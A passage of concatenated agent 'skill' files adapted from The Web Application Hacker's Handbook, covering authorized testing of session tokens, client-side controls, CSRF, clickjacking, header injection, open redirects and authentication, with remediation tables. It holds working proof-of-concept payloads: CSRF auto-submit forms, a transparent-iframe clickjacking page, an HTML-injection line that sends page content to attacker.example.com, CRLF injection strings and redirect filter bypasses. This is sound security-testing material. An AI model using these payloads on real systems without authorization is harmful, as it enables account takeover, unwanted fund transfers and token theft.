5. Application returns: HTTP 200 with full account data. The session token is still valid after logout.
6. Examine logout response: server issues `Set-Cookie: sessionId=; expires=Thu, 01 Jan 1970 00:00:00 GMT` — a client-side cookie deletion only. No server-side invalidation call occurs.
Output: High H4 finding. Remediation: implement server-side session invalidation on logout; store session state on server with explicit invalidation on logout request.
---
**Scenario: Internal application — Burp Sequencer entropy assessment**
Trigger: "Custom session token generation was built in-house using Java. Assess token quality."
Process:
1. Identify the login POST endpoint as the token issuance point. Send to Burp Sequencer, configure for the `sessionId` cookie.
2. Collect 100 tokens: preliminary analysis shows effective entropy ~32 bits. Several FIPS tests fail at low bit positions.
3. Collect 500 tokens: entropy estimate stabilizes at 28 bits. FIPS monobit and runs tests fail at positions 0–6.
4. Source code review (available): `String sessId = Integer.toString(s_SessionIndex++) + "-" + System.currentTimeMillis();` — a sequential counter concatenated with epoch milliseconds. The counter is the primary failure cause; milliseconds provide only limited additional entropy during busy periods.
5. Confirmed: time-dependent sequential generation with low effective entropy. G2 and G4 findings.
Output: Critical G2 (time dependency + sequential counter) and Critical G4 (28-bit effective entropy) findings. Remediation: replace with `java.security.SecureRandom` generating 128-bit random tokens; store all session data in a server-side session store keyed by this token.
## References
- For token generation countermeasure implementation details, see [references/securing-session-management.md](references/securing-session-management.md)
- For cookie attribute reference and browser behavior matrix, see [references/cookie-security-attributes.md](references/cookie-security-attributes.md)
- OWASP Session Management Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html
- CWE-330: Use of Insufficiently Random Values; CWE-384: Session Fixation; CWE-352: Cross-Site Request Forgery
- Source: *The Web Application Hacker's Handbook*, 2nd ed., Stuttard & Pinto, Chapter 7, pp. 205–255
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — Web Application Hackers Handbook by Unknown.
## Related BookForge Skills
This skill is standalone. Browse more BookForge skills: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
Test web applications for client-side security vulnerabilities spanning two major attack families: client-side trust anti-patterns and user-targeting attacks...
---
name: client-side-attack-testing
description: |
Test web applications for client-side security vulnerabilities spanning two major attack families: client-side trust anti-patterns and user-targeting attacks. Use this skill when: auditing hidden form fields, HTTP cookies, URL parameters, Referer headers, or ASP.NET ViewState for client-side data transmission vulnerabilities; bypassing HTML maxlength limits, JavaScript validation, or disabled form elements to probe server-side enforcement gaps; intercepting and analyzing browser extension traffic (Java applets, Flash, Silverlight) and handling serialized data; testing for cross-site request forgery (CSRF) by identifying cookie-only session tracking and constructing auto-submitting PoC forms; testing for clickjacking and UI redress attacks by checking X-Frame-Options headers and constructing iframe overlay proofs of concept; detecting cross-domain data capture vectors via HTML injection and CSS injection; auditing Flash crossdomain.xml and HTML5 CORS Access-Control-Allow-Origin configurations for overly permissive same-origin policy exceptions; finding HTTP header injection and response splitting vulnerabilities via CRLF injection; identifying open redirection vulnerabilities and testing filter bypass payloads; testing cookie injection and session fixation; assessing local privacy exposure through persistent cookies, cached content lacking no-cache directives, autocomplete on sensitive fields, and HTML5 local storage. Excludes XSS (covered by xss-detection-and-exploitation). Maps to OWASP Testing Guide (OTG-INPVAL-*, OTG-SESS-*, OTG-CLIENT-*), CWE-352 (CSRF), CWE-601 (Open Redirect), CWE-113 (HTTP Header Injection), CWE-565 (Reliance on Cookies), CWE-1021 (Improper Restriction of Rendered UI Layers), CWE-311 (Missing Encryption of Sensitive Data), and OWASP Top 10 A01:2021, A03:2021, A05:2021.
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/web-application-hackers-handbook/skills/client-side-attack-testing
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: draft
depends-on: []
source-books:
- id: web-application-hackers-handbook
title: "The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws"
authors: ["Dafydd Stuttard", "Marcus Pinto"]
edition: 2
chapters: [5, 13]
pages: "117-157, 501-560"
tags: [csrf, clickjacking, ui-redress, open-redirect, http-header-injection, session-fixation, cookie-injection, client-side-controls, hidden-form-fields, viewstate, javascript-validation, browser-extensions, same-origin-policy, cors, crossdomain-xml, local-privacy, burp-suite, penetration-testing, appsec, cwe-352, cwe-601, cwe-113, cwe-565, cwe-1021]
execution:
tier: 2
mode: hybrid
inputs:
- type: document
description: "HTTP proxy traffic logs, Burp Suite project file, or captured request/response pairs from the target application"
- type: codebase
description: "Application source code or HTML source for white-box review of client-side controls and data transmission"
tools-required: [Read, Grep, Write]
tools-optional: [Bash, WebFetch]
mcps-required: []
environment: "Authorized security testing context required. Burp Suite or equivalent intercepting proxy configured between browser and target. Clean browser profile recommended for local privacy testing."
discovery:
goal: "Identify all exploitable client-side control bypasses and user-targeting vulnerabilities; produce a structured findings report with PoC evidence, CWE mappings, severity ratings, and remediation guidance"
tasks:
- "Enumerate all client-side data transmission mechanisms (hidden fields, cookies, URL params, ViewState) and attempt tampering"
- "Identify and bypass all client-side input validation (length limits, JavaScript validation, disabled elements)"
- "Intercept browser extension traffic and attempt parameter manipulation or component decompilation"
- "Test all state-changing application functions for CSRF vulnerability"
- "Check all pages for X-Frame-Options and construct clickjacking proof of concept where absent"
- "Identify cross-domain policy files and CORS headers; assess permission scope"
- "Probe HTTP headers for CRLF injection; test open redirection parameters with bypass payloads"
- "Test session token behavior across login boundary for session fixation; test cookie injection vectors"
- "Audit local data storage: persistent cookies, cache directives, autocomplete attributes, HTML5 storage"
audience:
roles: ["penetration-tester", "application-security-engineer", "security-minded-developer", "bug-bounty-researcher"]
experience: "intermediate-to-advanced — assumes familiarity with HTTP, intercepting proxies (Burp Suite), HTML/JavaScript, and basic session management concepts"
triggers:
- "Penetration test of a web application requiring client-side vulnerability coverage"
- "Security assessment of an e-commerce or banking application with payment flows"
- "Audit of an application using browser extension components (Java applets, Flash, Silverlight)"
- "Assessment of a multi-user application where one user could target another"
- "Review of OWASP Top 10 A01/A03/A05 finding categories"
- "Pre-launch security review checking for CSRF, clickjacking, and open redirection"
---
# Client-Side Attack Testing
## When to Use
Use this skill when you need to assess a web application for vulnerabilities that either trust data transmitted through the client without server-side verification, or that allow one user to target another user's browser session. These two families are conceptually distinct but share the same root: the server's failure to treat the client as an untrusted environment.
This skill covers authorized penetration testing and security code review. It is not a substitute for legal authorization to test a target application. XSS is excluded here and covered by the `xss-detection-and-exploitation` skill.
---
## Core Concepts
### Why Client-Side Controls Fail
The browser executes entirely within the user's control. Any restriction enforced only on the client — a hidden field the application assumes will not be modified, a JavaScript validation gate the application assumes will run — can be bypassed by an attacker who intercepts requests. The only controls that matter for security are those enforced on the server.
### Two Attack Families
**Client-side trust anti-patterns** occur when the server transmits data to the client and reads it back without verifying its integrity. Every channel — hidden form fields, HTTP cookies, URL parameters, the Referer header, ASP.NET ViewState — is attacker-controllable via an intercepting proxy.
**User-targeting attacks** exploit the browser's normal behavior to induce a victim user to perform unintended actions (CSRF, clickjacking) or to leak data to the attacker's domain (cross-domain data capture, open redirection). These attacks do not require the attacker to log in — they ride the victim's authenticated session.
---
## Process
### Phase 1: Client-Side Data Transmission Testing
**Step 1: Identify all client-side data transmission mechanisms.**
Using your intercepting proxy in passive mode, browse the entire application and catalog every location where data is passed to the client and expected back:
- Hidden form fields (`<input type="hidden">`)
- HTTP cookies set by the server (`Set-Cookie` headers)
- URL query string parameters that appear to carry server-state (price codes, product IDs with apparent pre-computation, discount flags)
- The `Referer` header used in multi-step workflows
- ASP.NET `__VIEWSTATE` parameters
WHY: Applications transmit data via the client for performance, scalability, and third-party integration reasons. Developers often assume the transmission channel is tamper-proof. It never is. Identifying these locations is prerequisite to testing them.
**Step 2: Infer the role of each parameter.**
For each item identified, determine from context what server-side logic depends on it. Look for names like `price`, `discount`, `role`, `isAdmin`, `uid`, `returnUrl`. Even opaque values may be encodings of sensitive data.
WHY: Blind tampering generates noise. Understanding the role of a parameter allows you to craft meaningful modifications — for example, setting `price=1` on a checkout form, or flipping `discount=0` to `discount=100`.
**Step 3: Modify each value and observe server behavior.**
Use your proxy's intercept or Repeater tab to change parameter values:
- For hidden form fields: change the value in the intercepted POST request
- For cookies: modify the cookie header in subsequent requests or in the server response that sets the cookie
- For URL parameters: modify directly in the request
- For the Referer header: craft a request directly to a protected endpoint with a spoofed Referer matching the expected prior step
- For opaque values: attempt Base64 decoding (try starting decodes at offsets 0, 1, 2, 3 to account for Base64 block alignment); replay values from other contexts; submit malformed variants
WHY: The Referer header and cookies are not "more tamper-proof" than URL parameters — this is a common developer myth. Any intercepting proxy can modify all request headers with equal ease.
**Step 4: Test ASP.NET ViewState specifically.**
For ASP.NET applications, use Burp Suite's built-in ViewState parser (the ViewState tab in the proxy intercept panel):
1. Check whether MAC protection is enabled (indicated by a 20-byte hash at the end of the ViewState structure and the Burp parser reporting "MAC is enabled")
2. Even if MAC-protected, decode the ViewState to inspect whether the application stores sensitive data within it
3. If MAC protection is absent, edit the decoded ViewState contents in Burp's hex editor to modify any custom application data stored there
4. Test each significant page independently — MAC protection may be enabled globally but disabled on specific pages
WHY: ViewState with MAC protection disabled allows arbitrary modification of server-side state data, which can lead to price manipulation, privilege escalation, or injection vulnerabilities if the deserialized data is used unsafely.
---
### Phase 2: Client-Side Input Validation Bypass
**Step 1: Identify HTML maxlength restrictions.**
Search response HTML for `maxlength` attributes on input elements. Submit values exceeding the declared length via proxy intercept (the browser enforces maxlength client-side only).
WHY: If the server does not replicate the length check, overlong input may trigger SQL injection, cross-site scripting, buffer overflow, or other secondary vulnerabilities. Accepting the overlong input confirms the client-side validation is the only gate.
**Step 2: Identify JavaScript validation on form submission.**
Look for `onsubmit` attributes on form tags or validation functions called before form submission. Methods to bypass:
- Submit a valid value in the browser, intercept the request in the proxy, and replace the value with your desired payload (cleanest approach, does not affect application UI state)
- Disable JavaScript in the browser before submitting the form
- Intercept the server response containing the JavaScript validation code and neutralize the validation function (for example, change the function body to `return true`)
Test each field with invalid data individually, keeping all other fields valid, because the server may stop processing after the first invalid field.
WHY: Client-side validation without server-side replication is purely a user experience feature, not a security control.
**Step 3: Identify and submit disabled form elements.**
Inspect page source (not just proxy traffic — disabled elements are not submitted by the browser, so they do not appear in normal traffic) for `disabled="true"` attributes. Submit the disabled parameter name and value manually via proxy.
WHY: Disabled fields often represent parameters that were active during development or testing. The server-side handler may still process them if submitted, exposing price manipulation or feature-flag bypass opportunities.
---
### Phase 3: Browser Extension Analysis
**Step 1: Intercept browser extension traffic.**
Configure your proxy to intercept traffic from Java applets, Flash objects, or Silverlight applications. If the proxy does not automatically intercept extension traffic, configure the browser's JVM or Flash proxy settings to route through your proxy.
**Step 2: Handle serialized data formats.**
Identify the serialization format from the `Content-Type` header:
- `application/x-java-serialized-object` — Java serialization; use DSer (Burp plugin) to convert to XML, edit, and re-serialize
- AMF (Action Message Format) — Flash remoting; use Burp's AMF support or the AMF plugin
- Custom binary formats — attempt to infer structure from repeated byte patterns; look for length-prefixed strings
**Step 3: Decompile the component bytecode if proxy-level manipulation is insufficient.**
- Java applets: use `javap -c` for disassembly or a full decompiler such as JD-GUI or Procyon to recover source code
- Flash objects: download the `.swf` file and use Flasm or JPEXS Free Flash Decompiler
- Silverlight: extract the `.xap` archive and use dotPeek or ILSpy on the contained DLLs
Review decompiled code for hardcoded credentials, hidden API endpoints, client-side business logic, and validation that should occur server-side.
WHY: Browser extensions enforce validation inside a compiled binary that developers assume cannot be inspected. Decompilation proves that assumption false and often reveals critical security logic implemented entirely on the client.
---
### Phase 4: Cross-Site Request Forgery Testing
**Step 1: Identify CSRF-vulnerable functions.**
A function is potentially vulnerable to CSRF when all three of the following hold:
1. It performs a sensitive or privileged action (state change, account modification, fund transfer, user creation)
2. The application relies solely on HTTP cookies to track session state (no additional token in the request body or URL)
3. All required request parameters can be determined by an attacker in advance (no unpredictable nonces)
**Step 2: Construct a CSRF proof of concept.**
For GET-based actions, use an `<img>` tag with `src` set to the target URL:
```html
<img src="https://target.example.com/action?param=value">
```
For POST-based actions, construct an auto-submitting form:
```html
<html><body>
<form action="https://target.example.com/action" method="POST">
<input type="hidden" name="param1" value="value1">
<input type="hidden" name="param2" value="value2">
</form>
<script>document.forms[0].submit();</script>
</body></html>
```
**Step 3: Verify the attack.**
While authenticated in the target application in one browser tab, load the PoC page in the same browser. Confirm the action executes within the victim's session.
**Step 4: Assess anti-CSRF token quality if present.**
If the application includes a per-request token, verify:
- The token is tied to the specific user's session (not shared across users)
- The token value is unpredictable (sufficient entropy, not sequentially issued)
- The token cannot be obtained cross-domain via JavaScript hijacking or CSS injection
- Multi-step flows re-validate the token at every step, not only the first
WHY: CSRF exploits the browser's automatic cookie submission. The only reliable defenses are session-bound unpredictable tokens in the request body, the SameSite cookie attribute, or re-authentication for sensitive actions.
---
### Phase 5: Clickjacking and UI Redress Testing
**Step 1: Check for X-Frame-Options.**
For every sensitive page (login, account settings, fund transfer confirmation, admin functions), examine the HTTP response headers for:
```
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'none'
```
If neither is present, the page is potentially vulnerable to UI redress attacks.
**Step 2: Construct a clickjacking proof of concept.**
Create an attacker page that loads the target page in a transparent iframe overlaid on a decoy interface:
```html
<html><head><style>
iframe { opacity: 0.0; position: absolute; top: 150px; left: 200px;
width: 600px; height: 400px; z-index: 2; }
button { position: absolute; top: 150px; left: 200px; z-index: 1; }
</style></head><body>
<button>Click here to win a prize!</button>
<iframe src="https://target.example.com/confirm-transfer"></iframe>
</body></html>
```
Adjust iframe positioning to align the decoy button with the target page's sensitive action button.
**Step 3: Test for mobile interface gaps.**
Check mobile-specific UI paths (e.g., `/mobile/` subdirectories) separately. Anti-framing defenses are frequently applied only to the desktop interface.
WHY: UI redress bypasses token-based CSRF defenses because the iframe loads the target page normally — the token is generated and submitted within the framed context. The attack works even when CSRF tokens are correctly implemented.
---
### Phase 6: Cross-Domain Policy and Same-Origin Policy Analysis
**Step 1: Check Flash and Silverlight cross-domain policy files.**
Request `/crossdomain.xml` (Flash/Silverlight) and `/clientaccesspolicy.xml` (Silverlight) from the target origin. Evaluate:
- `<allow-access-from domain="*" />` — any domain can perform two-way interaction; critical finding
- Wildcarded subdomains — XSS on any allowed subdomain can compromise the application
- Intranet hostnames disclosed in the policy file
**Step 2: Test HTML5 CORS configuration.**
Add an `Origin: https://attacker.example.com` header to sensitive requests and examine the response for:
```
Access-Control-Allow-Origin: *
Access-Control-Allow-Origin: https://attacker.example.com
Access-Control-Allow-Credentials: true
```
An `Access-Control-Allow-Origin: *` combined with `Access-Control-Allow-Credentials: true` is a critical misconfiguration. Also send an `OPTIONS` preflight request to enumerate which methods and headers are permitted cross-domain.
**Step 3: Test for cross-domain data capture via HTML/CSS injection.**
Where the application reflects limited HTML into responses (HTML injection short of full XSS), test whether the injection point precedes sensitive data such as anti-CSRF tokens. Inject:
```html
<img src='https://attacker.example.com/capture?html=
```
If this unclosed image tag slurps subsequent page content into the URL, sensitive tokens may be transmitted to the attacker's server. Also test CSS injection by injecting `()*(font-family:'` where text injection is possible, and attempt to load the target page as a stylesheet cross-domain.
---
### Phase 7: HTTP Header Injection and Open Redirection
**Step 1: Find header injection entry points.**
Identify all locations where user-supplied data is incorporated into HTTP response headers — commonly the `Location` header in redirects and the `Set-Cookie` header in preference-setting functions. Submit the following test payload in each parameter:
```
English%0d%0aFoo:+bar
```
If the response contains a header line `Foo: bar`, the application is vulnerable. Also try `%0a`, `%250d%250a`, `%0d%0d%%0a0a`, and leading-space bypasses if sanitization is detected.
**Step 2: Assess exploitation impact.**
If arbitrary headers can be injected, demonstrate:
- Cookie injection: inject `Set-Cookie` headers to plant arbitrary cookies in the victim's browser
- Response splitting for cache poisoning: inject a complete second HTTP response body into the cache for a subsequently requested URL
**Step 3: Identify open redirection parameters.**
Walk through the application in the proxy and identify every redirect. For each redirect where user-controlled input determines the target URL, test:
1. Modify the target to an absolute external URL: `https://attacker.example.com`
2. If blocked, test bypass variants:
- Protocol case: `HtTp://attacker.example.com`
- Null byte prefix: `%00http://attacker.example.com`
- Protocol-relative: `//attacker.example.com`
- URL-encoded: `%68%74%74%70%3a%2f%2fattacker.example.com`
- Double encoding: `%2568%2574%2574%70%253a%252f%252fattacker.example.com`
- Domain confusion if app checks for own domain: `http://attacker.example.com?http://target.example.com`
3. If the application prepends a fixed prefix, test whether omitting the trailing slash causes the domain to be treated as a subdomain of an attacker-controlled domain: `redir=.attacker.example.com`
---
### Phase 8: Cookie Injection and Session Fixation
**Step 1: Test for cookie injection vectors.**
Identify functions that accept user input and set it into a cookie value. Inject a newline sequence to add a second `Set-Cookie` header (see HTTP header injection above). Also check whether XSS in related subdomains or parent domains can set cookies for the target application's domain.
**Step 2: Test for session fixation.**
1. As an unauthenticated user, request the login page and record the session token issued
2. Using that token, perform a login with valid credentials
3. If the application does not issue a new session token on successful authentication, it is vulnerable to session fixation
4. Test whether the application accepts arbitrary session tokens it has never issued — if so, the vulnerability is significantly more severe
WHY: Session fixation allows an attacker who can plant a known token in a victim's browser (via cookie injection, URL parameter, or CSRF against the login form) to hijack the victim's authenticated session without ever knowing the victim's credentials.
---
### Phase 9: Local Privacy Testing
**Step 1: Audit persistent cookies.**
Review all `Set-Cookie` headers for the `expires` attribute. Any cookie with a future expiry date is persisted to disk. If the cookie contains sensitive data (session tokens, user identifiers, preference data with security implications), document it as a local privacy finding.
**Step 2: Audit cache directives.**
For every HTTP page that displays sensitive data, verify the presence of all three directives:
```
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
```
If absent, verify that the page is served over HTTPS (not HTTP, where caching is more likely). Validate empirically by clearing the browser cache, accessing the sensitive page, and inspecting the browser's disk cache directory.
**Step 3: Audit autocomplete on sensitive input fields.**
Inspect the HTML source of all forms that capture sensitive data (passwords, credit card numbers, personal identification). Verify that `autocomplete="off"` is set on the `<form>` tag or on the individual sensitive `<input>` tags.
**Step 4: Audit HTML5 local storage.**
Using browser developer tools, inspect `localStorage` and `sessionStorage` for sensitive data stored by the application. `sessionStorage` is cleared when the tab closes; `localStorage` persists indefinitely.
---
## Examples
### Example 1: Hidden Field Price Manipulation
**Scenario:** E-commerce application transmitting product price in a hidden form field for use at checkout.
**Trigger:** During application mapping, proxy traffic reveals `<input type="hidden" name="price" value="449">` in the purchase form HTML.
**Process:**
1. Add item to cart and proceed to checkout in browser
2. Intercept the POST request in Burp Suite when the Buy button is clicked
3. In the intercepted request body, locate `quantity=1&price=449`
4. Modify `price=449` to `price=1` and forward the request
5. Also test `price=-100` to check for negative-price acceptance
**Output:** If the order is processed at the modified price, document as CWE-565 (Reliance on Cookies Without Validation) / improper trust in client-submitted data. Remediation: look up price server-side from the product catalog at time of purchase; never trust client-submitted price values.
---
### Example 2: CSRF Against Account Email Change
**Scenario:** A web application allows users to change their email address via a POST request that relies solely on the session cookie for authentication.
**Trigger:** Application mapping reveals `POST /account/change-email` accepts `[email protected]` with no additional token in the request body.
**Process:**
1. Confirm no anti-CSRF token is present in the request or the form HTML
2. Confirm no `SameSite` attribute is set on the session cookie
3. Construct the PoC page with an auto-submitting form pointing to `/account/change-email` with `[email protected]`
4. While authenticated in the target application, load the PoC in the same browser session
5. Confirm that the email address is changed to the attacker-controlled address
**Output:** Document as CWE-352 (Cross-Site Request Forgery), severity High. Remediation: implement synchronizer token pattern (per-session or per-request CSRF token in request body), or set `SameSite=Strict` on session cookies.
---
### Example 3: Clickjacking on Fund Transfer Confirmation
**Scenario:** A banking application's fund transfer confirmation page (`/transfer/confirm`) lacks `X-Frame-Options`.
**Trigger:** Security header review reveals `X-Frame-Options` is absent from the `/transfer/confirm` response.
**Process:**
1. Construct the iframe overlay PoC with the confirmation page loaded transparently
2. Position the transparent iframe so the Confirm button aligns with a decoy "Click to claim reward" button on the attacker page
3. Open the PoC in a browser where the victim user is authenticated to the banking application
4. Click the decoy button — verify the fund transfer is confirmed within the framed application
**Output:** Document as CWE-1021 (Improper Restriction of Rendered UI Layers / Clickjacking), severity High. Remediation: add `X-Frame-Options: DENY` or `Content-Security-Policy: frame-ancestors 'none'` to all sensitive pages. Note: JavaScript framebusting is not a reliable substitute — it can be circumvented via sandbox iframe attributes.
---
## Remediation Reference
| Vulnerability | Root Cause | Remediation |
|---|---|---|
| Hidden field / cookie / URL param tampering | Server trusts client-submitted data | Store and look up all security-relevant data server-side; validate every parameter server-side |
| Referer-header access control | Referer is optional and attacker-controllable | Use proper session-based authorization; never use Referer as an access control gate |
| ViewState tampering | MAC protection disabled | Enable `EnableViewStateMac`; do not store sensitive data in ViewState |
| JavaScript validation bypass | No server-side replication | Treat all client-side validation as UX only; replicate every constraint server-side |
| CSRF | Cookie-only session tracking | Implement synchronizer token pattern or use `SameSite=Strict` cookies |
| Clickjacking | Missing framing controls | Set `X-Frame-Options: DENY` or `frame-ancestors 'none'` CSP |
| Open redirection | User input controls redirect target | Use an allow-list of valid redirect targets; reject absolute URLs; prepend own origin with trailing slash |
| HTTP header injection | Unsanitized user input in headers | Strip all characters with ASCII code below 0x20 from data inserted into headers |
| Session fixation | Session token not rotated at login | Issue a new session token immediately after successful authentication |
| Local privacy: cached content | Missing cache-control directives | Set `Cache-Control: no-cache`, `Pragma: no-cache`, `Expires: 0` on all sensitive pages |
| Local privacy: autocomplete | Missing autocomplete=off | Set `autocomplete="off"` on all forms and fields capturing sensitive data |
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws by Dafydd Stuttard, Marcus Pinto.
## Related BookForge Skills
This skill is standalone. Browse more BookForge skills: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
Systematically assess web application authentication mechanisms for design flaws and implementation vulnerabilities. Use this skill whenever: testing the log...
---
name: authentication-security-assessment
description: |
Systematically assess web application authentication mechanisms for design flaws and implementation vulnerabilities. Use this skill whenever: testing the login security of a web application; auditing authentication for unauthorized access risk; evaluating password policy strength or brute-force resistance; checking whether login failure messages leak usernames (user enumeration); testing credential transmission over HTTP vs HTTPS; reviewing password change or forgotten password flows for logic flaws; assessing "remember me" cookie security; testing multistage login mechanisms for stage-skipping or cross-stage credential mixing; reviewing source code or HTTP traffic for fail-open logic or insecure credential storage; performing a penetration test or security code review of any user authentication system. Covers HTML forms-based, HTTP Basic/Digest, and multifactor authentication. Maps to OWASP Testing Guide (OTG-AUTHN-*) and CWE-287 (Improper Authentication), CWE-521 (Weak Password Requirements), CWE-307 (Improper Restriction of Excessive Authentication Attempts), CWE-640 (Weak Password Recovery Mechanism), CWE-312 (Cleartext Storage of Sensitive Information), CWE-522 (Insufficiently Protected Credentials).
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/web-application-hackers-handbook/skills/authentication-security-assessment
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: draft
depends-on: []
source-books:
- id: web-application-hackers-handbook
title: "The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws"
authors: ["Dafydd Stuttard", "Marcus Pinto"]
edition: 2
chapters: [6]
pages: "159-201"
tags: [authentication, login-security, brute-force, credential-security, password-policy, user-enumeration, session-management, multifactor-authentication, owasp, penetration-testing, appsec, cwe-287, cwe-307, cwe-521, cwe-640]
execution:
tier: 2
mode: hybrid
inputs:
- type: codebase
description: "Application source code containing authentication logic, login handlers, session management — primary for code review mode"
- type: document
description: "HTTP traffic captures, Burp Suite logs, or security report — primary for black-box testing mode"
tools-required: [Read, Grep, Write]
tools-optional: [Bash, WebFetch]
mcps-required: []
environment: "Run inside a project codebase for white-box review, or with HTTP traffic logs for black-box assessment. Authorized testing context required."
discovery:
goal: "Identify all exploitable weaknesses across design flaws (13 categories) and implementation flaws (3 categories) in the application's authentication mechanism; produce a structured findings report with severity, evidence, and countermeasures"
tasks:
- "Map all authentication surfaces: login, password change, account recovery, registration, remember-me, impersonation"
- "Test each design flaw category systematically using the relevant HACK STEPS"
- "Test each implementation flaw category using behavioral probing and code analysis"
- "Document findings with CWE mapping, severity rating, and evidence"
- "Produce countermeasures aligned with the 'Securing Authentication' framework"
audience:
roles: ["penetration-tester", "application-security-engineer", "security-minded-developer", "security-architect", "bug-bounty-researcher"]
experience: "intermediate-to-advanced — assumes familiarity with HTTP, web proxies (Burp Suite or equivalent), and basic authentication concepts"
triggers:
- "Penetration test of a web application's authentication mechanism"
- "Security code review of login, password change, or account recovery logic"
- "Pre-deployment security audit of authentication functionality"
- "Post-incident analysis of an authentication bypass or account takeover"
- "Assessment of brute-force resistance and account lockout behavior"
not_for:
- "Authorization or access control testing — use a dedicated access control assessment skill"
- "Session token analysis — overlaps with session management testing (Chapter 7 scope)"
- "SQL injection or injection attacks against login forms — use injection assessment skills"
---
# Authentication Security Assessment
## When to Use
You have authorized access to a web application and need to systematically assess its authentication mechanisms for exploitable weaknesses.
This skill applies when:
- A penetration test scope includes login, registration, password change, or account recovery functionality
- A code review targets authentication logic — login handlers, session creation, credential storage
- You need to assess brute-force resistance, account lockout policy, or credential transmission security
- You are evaluating whether a multistage login mechanism provides the security benefit it was designed to deliver
**The foundational insight from Stuttard and Pinto:** Authentication is conceptually simple but practically one of the weakest links in real-world applications. Developers fail to ask "what could an attacker achieve if they targeted our authentication mechanism?" systematically. Even one exploitable flaw is often sufficient to break the entire application — because if authentication fails, session management and access control become irrelevant.
**Two flaw classes exist and require different testing approaches:**
1. **Design flaws** — weaknesses inherent in how the mechanism was conceived (bad passwords, brute-forcible login, verbose errors). Detected by behavioral testing.
2. **Implementation flaws** — mistakes in coding a correctly designed mechanism (fail-open logic, multistage stage-skipping, insecure storage). Detected by code review and malformed-request probing.
**Authorized testing only.** This skill is for security professionals with explicit written authorization to test the target application.
---
## Context and Input Gathering
### Required Context (must have — ask if missing)
- **Testing mode (black-box vs white-box):**
Why: black-box testing relies on behavioral observation of HTTP responses; white-box testing adds source code analysis which enables detection of implementation flaws that are otherwise invisible.
- Check prompt for: "source code available," "code review," "codebase," vs "black-box," "external test," "no source"
- If missing, ask: "Do you have access to the application's source code, or is this a black-box behavioral test?"
- **Authentication technologies in scope:**
Why: the attack surface differs between HTML forms-based login (>90% of web apps), HTTP Basic/Digest, multifactor, and Windows-integrated authentication. Multistage login requires stage-sequencing analysis that single-stage does not.
- Check environment for: login form HTML, HTTP headers (`WWW-Authenticate`), multi-step login flows, physical token references
- If missing, ask: "Does the application use a single username/password form, multistage login (PIN, challenge question, physical token), or something else?"
- **Scope of authentication surfaces:**
Why: weaknesses are often introduced in secondary functions (password change, account recovery) that developers treat as lower-security than the main login. Missing any surface means missing likely findings.
- Check environment for: `/forgot-password`, `/change-password`, `/register`, `/impersonate` endpoints
- If missing, ask: "Besides the main login, are password change, forgotten password, registration, and account recovery in scope?"
### Observable Context (gather from environment)
- **Existing HTTP traffic or Burp Suite session logs:**
Look for: login POST requests, Set-Cookie headers, redirect chains after login, hidden form fields that carry state between stages
If unavailable: agent conducts analysis from source code alone; note the limitation
- **Server-side credential storage:**
Look for: database schema files, ORM model definitions, password field types (VARCHAR vs BINARY/CHAR for hashes), any plaintext password columns
If unavailable: defer storage analysis to black-box inference (does the app ever return your password to you?)
- **Framework and language:**
Look for: `package.json`, `requirements.txt`, `pom.xml`, `web.config`, framework config files
If unavailable: assume no framework-specific protections are in place
### Default Assumptions
- Assume **no account lockout** is in place until tested — lockout is commonly absent or trivially bypassable
- Assume **all authentication surfaces are in scope** unless explicitly excluded
- Assume **HTTP Basic/Digest are not in use** on the primary login if HTML forms are present
---
## Process
### Step 1: Map the Full Authentication Attack Surface
**ACTION:** Identify every function where the application accepts credentials or performs authentication-related processing. Enumerate: main login, password change, forgotten password / account recovery, user registration, "remember me" functionality, administrative impersonation features, any API authentication endpoints.
**WHY:** Vulnerabilities deliberately avoided in the main login function frequently reappear in secondary functions. Password change endpoints are often accessible without authentication. Forgotten password flows commonly reintroduce username enumeration. Missing any surface means missing the most likely source of findings. An attacker examines all surfaces; an assessor must too.
**AGENT: EXECUTES** — Grep for authentication-related URL patterns, form actions, and route handlers. Enumerate all endpoints.
**IF** white-box mode → grep source code for login handler function names, password comparison logic, session creation, credential-related routes
**ELSE** → use application spidering results or manually walk every link on the login, registration, password change, and recovery pages
---
### Step 2: Assess Password Quality Controls (Design Flaw: Bad Passwords)
**ACTION:** Determine what password quality rules, if any, the application enforces. Test by reviewing published FAQ/help text, attempting registration or password change with: blank passwords, single characters, passwords identical to the username, common dictionary words (password, 12345678, qwerty, letmein, monkey), and very short values.
**WHY:** Applications without strong password quality rules will contain a large number of user accounts with weak passwords. An attacker who can guess even a few high-probability passwords against a list of valid usernames will compromise real accounts. Common real-world passwords (documented from breach databases) are a small, well-known set. The absence of enforcement means even amateur attackers succeed.
**HANDOFF TO HUMAN** — Self-registration attempts and password change tests require interactive browser/proxy interaction. Agent interprets results.
**Check for:**
- Minimum length enforcement (target: 8+ characters, ideally 12+)
- Character diversity requirements (uppercase, lowercase, numeric, special characters)
- Rejection of username-as-password
- Rejection of common dictionary passwords
- Server-side vs client-side-only enforcement (client-side-only is a low-severity finding — an attacker can bypass it to set a weak password for themselves, but it does not directly compromise other users)
---
### Step 3: Test Brute-Force Resistance (Design Flaw: No Account Lockout)
**ACTION:** Using an account you control, submit approximately 10 failed login attempts with incorrect passwords. Observe whether the application: (a) returns a message about account lockout or suspension, (b) locks the account, (c) continues accepting login attempts without any throttling. If using a proxy, test whether the failed login counter is stored in a client-side cookie (bypass: discard the cookie and start a fresh session).
